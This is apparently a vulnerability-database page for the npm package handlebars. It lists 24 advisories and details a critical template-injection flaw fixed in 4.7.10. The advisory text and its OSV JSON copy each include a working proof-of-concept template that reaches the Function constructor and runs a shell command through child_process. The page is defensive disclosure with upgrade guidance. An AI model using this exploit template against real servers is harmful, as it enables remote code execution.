Vulnerabilities in pkg:npm/handlebars

PACKAGE
Advisory Identifier: GHSA-p8wg-vrv2-v86f
Advisory Summary

CVE-2026-106445 is a CRITICAL javascript injection vulnerability (CWE-1289: Improper Validation of Unsafe Equivalence in Input) affecting Handlebars libraries in the npm ecosystem. The issue involves javascript injection via own property check bypass. Remediation is available by upgrading affected packages to version 4.7.10.

24 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/handlebars

24 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/handlebars. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-p8wg-vrv2-v86f CVE-2026-106445 CRITICAL Handlebars: JavaScript Injection via Own Property Check Bypass
GHSA-xw65-4hp5-5hc7 CVE-2026-106444 MODERATE Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates
GHSA-8r5x-fm3f-whwj CVE-2026-106446 CRITICAL Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
GHSA-xjpj-3mr7-gcpf CVE-2026-33941 HIGH Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
GHSA-xhpv-hc6g-r9c6 CVE-2026-33940 HIGH Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial
GHSA-9cx6-37pm-9jff CVE-2026-33939 HIGH Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation
GHSA-7rx3-28cr-v5wh - MODERATE Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry
GHSA-442j-39wm-28r2 - LOW Handlebars.js has a Property Access Validation Bypass in container.lookup
GHSA-3mfm-83xf-c92r CVE-2026-33938 HIGH Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
GHSA-2w6w-674q-4c4q CVE-2026-33937 CRITICAL Handlebars.js has JavaScript Injection via AST Type Confusion
GHSA-2qvq-rjwj-gvw9 CVE-2026-33916 MODERATE Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection
GHSA-2cf5-4w76-r9qv - HIGH Arbitrary Code Execution in handlebars
GHSA-765h-qjxv-5f44 CVE-2021-23383 CRITICAL Prototype Pollution in handlebars
GHSA-f2jv-r9rf-7988 CVE-2021-23369 CRITICAL Remote code execution in handlebars when compiling templates
GHSA-w457-6q6x-cgp9 CVE-2019-19919 CRITICAL Prototype Pollution in handlebars
GHSA-9prh-257w-9277 CVE-2015-8861 MODERATE Cross-Site Scripting in handlebars
GHSA-q42p-pg8m-cqh6 - HIGH Prototype Pollution in handlebars
GHSA-3cqr-58rm-57f8 CVE-2019-20920 HIGH Arbitrary Code Execution in Handlebars
GHSA-62gr-4qp9-h98f CVE-2019-20922 HIGH Regular Expression Denial of Service in Handlebars
GHSA-g9r4-xpmj-mj65 - HIGH Prototype Pollution in handlebars
GHSA-q2c6-c6pm-g3gh - HIGH Arbitrary Code Execution in handlebars
GHSA-f52g-6jhx-586p - MODERATE Denial of Service in handlebars
GHSA-fmr4-7g9q-7hc7 - MODERATE Moderate severity vulnerability that affects handlebars
GHSA-6r5x-hmgg-7h53 - MODERATE Remote code execution in Handlebars.js

CVE-2026-106445 at a Glance

CVE Identifier CVE-2026-106445
GHSA Identifier GHSA-p8wg-vrv2-v86f
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-1289: Improper Validation of Unsafe Equivalence in Input
Affected Product Handlebars
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-106445

To remediate this vulnerability, upgrade all affected Handlebars dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

handlebars fixed: 4.7.10
npm install handlebars@4.7.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls handlebars

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-106445, inspect your project dependencies using npm:

npm ls handlebars

Analyze the terminal output to locate any version of Handlebars in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.7.10), your application is affected.

Note: The npm ls handlebars command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1289: Improper Validation of Unsafe Equivalence in Input, where the product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value. In Handlebars, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Handlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `lookupProperty` trusts own properties: ```js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; } ``` Normally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects: ```js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object; ``` As a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list. ## Proof of Concept An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context: 1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\_\_proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply). ```javascript const Handlebars = require('handlebars'); // constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' + // access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' + // #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' ); const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } ); console.log(result.trim()); // output: uid=1000(node) gid=1000(node) groups=1000(node) ``` ## Workarounds Do not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data. If you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.

CVE-2026-106445 Affected Handlebars Versions

1 component(s)
Fixed Versions:
4.7.10
Product / Package Ecosystem Affected Versions Fixed Version
handlebars
npm
≥ 3.0.0
< 4.7.10
4.7.10

References

Frequently Asked Questions

What is CVE-2026-106445?
CVE-2026-106445 is a security vulnerability in Handlebars involving JavaScript Injection via Own Property Check Bypass under CWE-1289: Improper Validation of Unsafe Equivalence in Input.
Which Handlebars versions are affected?
Affected versions include releases prior to 4.7.10 across affected packages: handlebars.
What version fixes CVE-2026-106445?
Upgrading to 4.7.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is handlebars affected?
Yes, handlebars is affected in releases prior to 4.7.10. Upgrade your dependency to 4.7.10 or later.
What CWE is associated with CVE-2026-106445?
CVE-2026-106445 is classified under CWE-1289: Improper Validation of Unsafe Equivalence in Input (The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.).
How can I check npm dependencies for CVE-2026-106445?
Run the dependency tree command: 'npm ls handlebars'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p8wg-vrv2-v86f",
  "modified" : "2026-10-12T14:33:16Z",
  "published" : "2026-10-08T17:52:26Z",
  "aliases" : [ "CVE-2026-106445" ],
  "summary" : "Handlebars: JavaScript Injection via Own Property Check Bypass",
  "details" : "## Summary\n\nHandlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`lookupProperty` trusts own properties:\n\n```js\nif (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n  return result;\n}\n```\n\nNormally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects:\n\n```js\nFunction.prototype.constructor === Function;\nString.prototype.constructor === String;\nObject.prototype.constructor === Object;\n```\n\nAs a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list.\n\n## Proof of Concept\n\nAn attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:\n\n1. Access a function's prototype: {{lookup myFunction \"proto\"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).\n2. Access constructor via own property bypass: {{lookup (lookup myFunction \"\\_\\_proto__\") \"constructor\"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.\n3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// constructor deny list bypass via hasOwnProperty check in lookupProperty\nconst template = Handlebars.compile(\n    // construct code array from template string literal\n    '{{#with a}}' +\n      '{{lookup \"\" (push \"return process.mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()\")}}' +\n      '{{lookup \"\" (pop)}}' +\n      '{{lookup \"\" (shift)}}' +\n    '{{/with}}' +\n\n    // access Function via own property bypass on Function.prototype.constructor\n    '{{lookup \"\" (@root.a.push (lookup (lookup fn \"__proto__\") \"constructor\"))}}' +\n\n    // #each sets depth0=Function without calling it, apply avoids hash body\n    '{{#each @root}}{{#if @index}}{{else}}' +\n      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +\n    '{{/if}}{{/each}}'\n);\n\nconst result = template(\n    { fn: function(){}, a: [0] },\n    { allowProtoMethodsByDefault: true }\n);\n\nconsole.log(result.trim());\n\n// output: uid=1000(node) gid=1000(node) groups=1000(node)\n```\n\n## Workarounds\n\nDo not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data.\n\nIf you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "handlebars"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "4.7.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.7.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106445"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/pull/2185"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/handlebars-lang/handlebars.js"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1289", "CWE-184" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T17:52:26Z",
    "nvd_published_at" : "2026-10-06T20:17:26Z"
  }
}